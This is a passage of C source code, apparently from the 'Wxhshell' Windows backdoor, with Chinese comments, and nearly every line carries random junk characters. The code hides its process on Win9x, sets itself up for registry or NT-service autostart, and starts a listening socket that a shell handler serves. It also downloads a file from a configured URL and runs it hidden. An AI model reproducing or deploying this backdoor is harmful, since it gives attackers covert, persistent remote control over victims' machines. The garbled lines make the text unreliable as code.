ULONG InheritedFromUniqueProcessId; q&NXF(
} PROCESS_BASIC_INFORMATION; +!nf?5;
N:#$S$
PROCNTQSIP NtQueryInformationProcess; QGGBI Ku
\`2EfYJ{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U#PgkP[4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
Fe$o*r,
ZJhI|wRwD
HANDLE hProcess; 9PG{>W$M
PROCESS_BASIC_INFORMATION pbi; gVJh@]8)
Nr)DU.f
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -?{g{6
if(NULL == hInst ) return 0; pX!T; Re;
Ad3TD L?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $3ZQ|X[|+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <m{#u4FC'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2\|sXC
$$Ibr]$5
if (!NtQueryInformationProcess) return 0; yzL9Ic
t@+e#3P!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a0B%x!y^
if(!hProcess) return 0; "fSaM&@[B
U;u4ey
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Al *yx_j
K9VP@[zbJ
CloseHandle(hProcess); UMF M.GI
a~JZc<ze
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v/$<#2|
if(hProcess==NULL) return 0; U%#Vz-r
Z?9G2<i
HMODULE hMod; \)aFYDq#\
char procName[255]; j':<7n/A
unsigned long cbNeeded; Pd
`~#!
/S^>06{-+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^HTvw~]5
|m*l/@1
CloseHandle(hProcess); 0 A8G8^T
$DnJ/hg;qD
if(strstr(procName,"services")) return 1; // 以服务启动 !B9Yw/Ba
H
]](xYy.
return 0; // 注册表启动 @ IDY7x27
} <1x u&Z7
:8N
by$#V
// 主模块 B !rb*"[
int StartWxhshell(LPSTR lpCmdLine) Wap\J7NY
{ #\_FSr fX
SOCKET wsl; K9nW"0>
BOOL val=TRUE; !Zc#E,
int port=0; B7[#z{8'#
struct sockaddr_in door; A%&lW9z7
~rXLb:
if(wscfg.ws_autoins) Install(); 0Am\02R.C,
B_8JwMJu3
port=atoi(lpCmdLine); rF{,]U9`
auY?Cj'"fs
if(port<=0) port=wscfg.ws_port; ]1h9:PF
|A0U3$S=
WSADATA data; ajkpU.6E:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d5{RIM|
DM\pi9<m
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ggfCfn
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c3<H272\
door.sin_family = AF_INET; ExL7 ]3r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [IHG9Xg
door.sin_port = htons(port); >*+n`"6
~Xr[d07bC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OP_\V8=
closesocket(wsl); SF ^$p$mC
return 1; hX-^h2eV
} [3tU0BU"
3fYfj
if(listen(wsl,2) == INVALID_SOCKET) { pk;S"cnk
closesocket(wsl); GQjU="+
return 1; m>!o
Yy_
} :r:x|[3.
Wxhshell(wsl); C&EA@U5X^
WSACleanup(); AnZy
oa
`J7@G]X;2
return 0; KO[Ty'
R.GDCGAL
} =*6H!bzX
9Nz}'a;?>
// 以NT服务方式启动 8`I,KkWg
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *W 04$N
{ lm +s5}*%o
DWORD status = 0; )!
kl:
DWORD specificError = 0xfffffff; Qdc)S>gp
6]HMhv
serviceStatus.dwServiceType = SERVICE_WIN32; 4T){z^"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; AmCymT3P*e
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2@N-#x'
serviceStatus.dwWin32ExitCode = 0; Dj0D.}`~
serviceStatus.dwServiceSpecificExitCode = 0; oXVx9dZ
serviceStatus.dwCheckPoint = 0; i"4;{C{s
serviceStatus.dwWaitHint = 0; ]\ZmK0q<:
,,S 2>X*L
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D_`~$QB`,
if (hServiceStatusHandle==0) return; 7o7FW=^
dn_l#$ U
status = GetLastError(); q+?q[:nR-
if (status!=NO_ERROR) &v:[+zw
{ %qVD-Jln
serviceStatus.dwCurrentState = SERVICE_STOPPED; }%y5<n*v\
serviceStatus.dwCheckPoint = 0; ScT{Tb]9bt
serviceStatus.dwWaitHint = 0; PHH,vO[eO
serviceStatus.dwWin32ExitCode = status; md/h\o&
serviceStatus.dwServiceSpecificExitCode = specificError; 7$R^u7DZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6mxzE3?G
return; ClPE_Cfw~
} 52'6wwv6?
PT4iy<
serviceStatus.dwCurrentState = SERVICE_RUNNING; '@^mesMG
serviceStatus.dwCheckPoint = 0; \r3SvBwhFv
serviceStatus.dwWaitHint = 0; diKl}V#u
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q$<VLrx
} "5\6`\/
}/L#<n`Z
// 处理NT服务事件,比如:启动、停止 *A0d0M]cg
VOID WINAPI NTServiceHandler(DWORD fdwControl) R|*Eg,1g -
{ IfP?+yPa
switch(fdwControl) G//hZwf0
{ lxR]Bh+
case SERVICE_CONTROL_STOP: @)ls+}=Y
serviceStatus.dwWin32ExitCode = 0; _]0<G8|Rv
serviceStatus.dwCurrentState = SERVICE_STOPPED; YlZ&4
serviceStatus.dwCheckPoint = 0; @qF:v]=_@
serviceStatus.dwWaitHint = 0; ,"?8
{ Q>G% *?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wS|hc+1
} hSj@<#b>F
return; Zb<D%9
case SERVICE_CONTROL_PAUSE: *qr>x8OGp
serviceStatus.dwCurrentState = SERVICE_PAUSED; *c(YlfeZ#
break; p$Floubh]
case SERVICE_CONTROL_CONTINUE: J7kqyo"
serviceStatus.dwCurrentState = SERVICE_RUNNING; a3Xd~Qs
break; {?}^HW9{
case SERVICE_CONTROL_INTERROGATE: 5'|W(yR}
break; ;[:IC^9fv
}; .k,,PuP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "z*?#&?,
} 8 9maN
!&{"tL@.
// 标准应用程序主函数 "=2'O qp1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9?sm-qP
{ yQN^F+.
wEU=R>j.
// 获取操作系统版本 b4(,ls
OsIsNt=GetOsVer(); fBBtS S
GetModuleFileName(NULL,ExeFile,MAX_PATH); g6OPYUPg
4(`U]dNcs
// 从命令行安装 %@HuAcNi
if(strpbrk(lpCmdLine,"iI")) Install(); 7gRR/&ZK
P9jSLM
// 下载执行文件 qv<^%7gq
if(wscfg.ws_downexe) { rG%8ugap
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZT<VDcP{
WinExec(wscfg.ws_filenam,SW_HIDE); ~sNBklK
} sH%Ts@Pl
wZ_"@j<
if(!OsIsNt) { onIZ&wrk
// 如果时win9x,隐藏进程并且设置为注册表启动 8\+DSA
HideProc(); `~NjBtQ
StartWxhshell(lpCmdLine); G#1W":|`
} "EZpTy}Ee
else BxaGBK<k
if(StartFromService()) 4K|O?MUNS
// 以服务方式启动 \GZ|fmYn
StartServiceCtrlDispatcher(DispatchTable); \0FwxsL
else tF.N
// 普通方式启动 >Udq{<]#r
StartWxhshell(lpCmdLine); s#Xfu\CP
C;_0 0EQ=
return 0; UMK9[Iy$<M
}